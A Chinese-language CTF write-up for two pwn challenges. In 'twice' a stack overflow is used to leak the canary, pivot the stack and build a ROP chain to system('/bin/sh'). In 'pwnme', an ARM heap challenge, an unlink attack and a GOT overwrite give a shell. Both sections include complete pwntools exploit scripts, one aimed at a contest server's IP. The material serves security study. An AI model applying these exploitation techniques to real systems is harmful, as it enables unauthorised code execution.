twice

分析

保护情况

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函数

程序一共有两次输入的机会，第一次输入长度为 0x50+9 ；第二次输入长度为：0x50+0x20 。存储字符串的变量 s 距离 rbp 是 0x60 ，也就是第二次输入是栈溢出，溢出长度仅可覆盖 rip 。

输入处理函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_4007A9(int a1)
{
  unsigned int v2; // [rsp+14h] [rbp-6Ch]
  int length; // [rsp+18h] [rbp-68h]
  int v4; // [rsp+1Ch] [rbp-64h]
  char s[88]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 0x50uLL);
  putchar('>');
  length = sub_40076D(0x50);
  if ( a1 )
  {
    if ( a1 != 1 )
      return 0LL;
    v2 = 0;
  }
  else
  {
    v2 = 1;
  }
  v4 = read(0, s, length);//第二次输入栈溢出
  puts(s);
  if ( !a1 )
    s[v4 - 1] = 0;
  return v2;
}

处理输入长度处理函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall sub_40076D(int length)
{
  unsigned int v2; // [rsp+10h] [rbp-4h]

  v2 = 0;
  if ( nCount )
  {
    if ( nCount == 1 )
      v2 = length + 0x20;//第二次输入
  }
  else
  {
    v2 = length + 9;//第一次输入
  }
  return v2;
}

思路

泄露canary

存在栈溢出肯定是需要利用栈溢出的，但是程序开始了 canary ，所以首先得绕过这个保护。第一次输入的时候可以输入长度刚刚好是 0x59 ，可以覆盖 canary 低字节的结束符，然后在后续中打印出来。

1
2
3
payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

泄露栈地址

绕过 canary 之后就是利用栈溢出了，溢出长度不多仅仅能够覆盖 rip ，也就是不能直接通过普通栈溢出泄露 libc 地址，更别想后面的传参和调用 system 。溢出长度不够可以试下栈迁移。

我们只能控制栈上的数据，所以将 A 栈劫持到 B 栈。那就是需要知道我们能控制的栈的地址，就是需要泄露栈的 rbp 中的值（下一个栈的 rbp 内存地址）减去固定偏移，获得当前栈的内存地址。

泄露的 payload 不需要单独构造，在泄露 canary 的时候就一起泄露出来了。因为 canary 是 8 字节，只是最低位是结束符，所以当最低位被覆盖后，puts 会一直输出直到遇到 rbp 中的结束符（\x00）。

通过调试发现偏移为 0x70 。

泄露 libc

在第二次输入的时，同时写入要执行的命令和溢出 rbp&rip 。首先写入需要执行的命令，写的时候是从 0x8 个字节开始写。因为汇编的 leave|ret 最后会将 rsp 指向 rbp + 8 的地址，然后通过 ret 将 rbp + 8 地址的值压入 rip 中。最后还要一个 main 完成 ROP 。

1
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

填充长度，补上 canary ，将 rbp 覆盖为预定值，rip 再一次调用 leave|ret 。

1
2
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)

两次 leave|ret rbp、rsp 变化：

1
2
3
4
5
6
7
8
9
10
11
12
# begin
RBP  0x7fffffffdd80 —▸ 0x7fffffffdd20 ◂— 'aaaaaaaa#\t@'
RSP  0x7fffffffdd00 ◂— 0x0
RIP  0x400879 (sub_400676+208) ◂— leave
# round1
RBP  0x7fffffffdd20 ◂— 'aaaaaaaa#\t@'
RSP  0x7fffffffdd88 —▸ 0x400879 (sub_400676+208) ◂— leave  
RIP  0x40087a (sub_400676+209) ◂— ret  
# round2
RBP  0x6161616161616161 ('aaaaaaaa')
RSP  0x7fffffffdd28 —▸ 0x400923 (__libc_csu_init+99) ◂— pop    rdi
RIP  0x40087a (sub_400676+209) ◂— ret

getshell

溢出长度不够，getshell 还是劫持流程返回到栈上。因为不是正常逻辑的调用，栈空间肯定是变化的，所以需用重新泄露 栈地址 （canary不变）。

1
2
3
payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : twice.py
from pwn import *
context.log_level='debug'

#p = process("./pwn")
p = remote('121.36.59.116',9999)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
log.info("puts_plt:"+hex(puts_plt))
puts_got = elf.got['puts']
log.info("puts_got:"+hex(puts_got))
main_addr = 0x040087B
pop_rdi = 0x0000000000400923
leave_ret = 0x0000000000400879

# leak canary&stack
payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info("canary:"+hex(canary))
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("stack_addr:"+hex(stack_addr))

# leak libc
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
gdb.attach(p)
p.send(payload)

puts_leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
binsh = libc_base + libc.search('/bin/sh\x00').next()
log.info("binsh:"+hex(binsh))


payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info("canary:"+hex(canary))
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("stack_addr:"+hex(stack_addr))

payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
p.send(payload)

p.interactive()

pwnme

本地调试环境

在两位师兄和群里大佬帮助下实现本地调试

Ubuntu16.04 安装 qemu 运行 Linux 3.16

如何 pwn 掉一个 arm 的binary

安装文件

安装qemu：

1
sudo apt install qemu qemu-system-arm

安装桥接工具：

1
2
sudo apt-get install uml-utilities
sudo apt-get install bridge-utils

安装交叉编译工具链

1
sudo apt install gcc-arm-linux-gnueabi

安装libc

将题目给的 lib 文件中的 so 文件放入到虚拟机的 /lib 文件夹。

建立链接：

1
2
3
sudo ln -s ./libuClibc-1.0.34.so ./libc.so.0
sudo ln -s ./ld-uClibc-1.0.34.so ./ld-uClibc.so.0
sudo ln -s ./libthread_db-1.0.34.so ./libthread_db.so.0

运行&调试

引用 bash-c 的模版，做题 exp 就写在这个模版后面：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# local libc
libc = ELF("./libuClibc-1.0.34.so")

模版使用

  • python exp.py r 打远程
  • python exp.py l 本地测试
  • python exp.py d/a/b/… 用于本地调试, exp 启动后新启一个终端, 使用 gdb-multiarch 就可以通过 target remote localhost:1234 来进行调试了

远程和本地跟一个后缀就行了，本地调试参数不是 r & l 即可。开启本地调试，依次执行：

1
2
3
4
5
6
# 终端1
python exp.py d
# 终端2
gdb-multiarch
target remote localhost:1234
# 输入c开始运行程序

打断点，我是在终端 2 中直接打断点，没有在 exp 中用 gdb.attach() 。还有一个问题就是 gdb 不能直接查堆，即使已经装完几个库文件：

最后是通过找存放堆指针地址的数组（0x002106C）查堆空间。

分析

保护情况

1
2
3
4
5
Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x10000)

漏洞函数

Change 功能没有对输入的长度进行限制；写入全部数据后，还会在最后加一个 \x00 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void mychange()
{
  char v0; // [sp+4h] [bp-20h]
  char v1; // [sp+Ch] [bp-18h]
  int v2; // [sp+14h] [bp-10h]
  int v3; // [sp+18h] [bp-Ch]
  int v4; // [sp+1Ch] [bp-8h]

  if ( chunk_num )
  {
    printf("Index:");
    read(0, (int)&v1, 8);
    v4 = atoi(&v1);
    if ( chunk_list[2 * v4] )
    {
      printf("Length:");
      read(0, (int)&v0, 8);
      v3 = atoi(&v0);
      printf("Tag:");
      v2 = read(0, chunk_list[2 * v4], v3);     // 堆溢出
      *(_BYTE *)(chunk_list[2 * v4] + v2) = 0;  // offbynull
    }
    else
    {
      puts("Invalid");
    }
  }
}

思路

布置堆，3 号堆用来最后传参 /bin/sh

1
2
3
4
add(0x10)#0
add(0x80)#1
add(0x10)#2
add(0x10,'/bin/sh\x00')#3

在 0 号堆布置一个 fake chunk ，fd&bk 分别是 目标地址-12 和 目标地址-8 ，并溢出修改 1 号堆的 prev_size 和 PREV_INUSE 等等与 fake chunk 合并。

1
2
3
4
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0,len(payload),payload)
remove(1)

之后数组中的 0 号堆指针指向 目标地址-8 ：

show 功能是从数组上找堆地址，然后在输出堆内容，所以往数组上写 got 表地址，覆盖堆指针，泄露 libc 地址。同时写入需要修改的函数 got 表地址，用 Change 修改（原理和 show 一样）。

1
2
3
4
5
6
payload = p32(elf.got['puts'])*5+p32(elf.got['free'])*4
change(0,len(payload),payload)
show()
……
change(2,4,p32(system))
remove(3)

exp

来自师兄的exp，我删了多余的堆，和调整了一下填充内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File    : exp.py
# @Author  : hope
# @site    : https://hop11.github.io/
from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# 本地 libc
libc = ELF("./libuClibc-1.0.34.so")
context.log_level = "debug"

def show():
	sh.recvuntil(">>> ")
	sh.sendline("1")
def add(length,content='a'):
	sh.recvuntil(">>> ")	
	sh.sendline("2")
	sh.recvuntil("Length:")
	sh.sendline(str(length))
	sh.recvuntil("Tag:")
	sh.send(content)
def change(index,length,content):
	sh.recvuntil(">>> ")	
	sh.sendline("3")
	sh.recvuntil("Index:")
	sh.sendline(str(index))
	sh.recvuntil("Length:")
	sh.sendline(str(length))
	sh.recvuntil("Tag:")
	sh.send(content)
def remove(index):
	sh.recvuntil(">>> ")	
	sh.sendline("4")
	sh.recvuntil("Tag:")
	sh.sendline(str(index))
# 堆数组地址
target = 0x002106C

add(0x10)#0 溢出
add(0x80)#1 被溢出
add(0x10)#2 用来修改函数
add(0x10,'/bin/sh\x00')#3 传参

# unlink
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0,len(payload),payload)
remove(1)

# leak libc
payload = p32(0x0)*3+p32(elf.got['puts'])
payload += p32(0x0)*3+p32(elf.got['free'])
change(0,len(payload),payload)
show()
sh.recvuntil("0 : ")

puts = u32(sh.recv(4))
print 'puts:'+hex(puts)
libc_base = puts - libc.symbols['puts']
print 'libc_base:'+hex(libc_base)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)

# overwrite free
change(2,4,p32(system))
remove(3)

sh.interactive()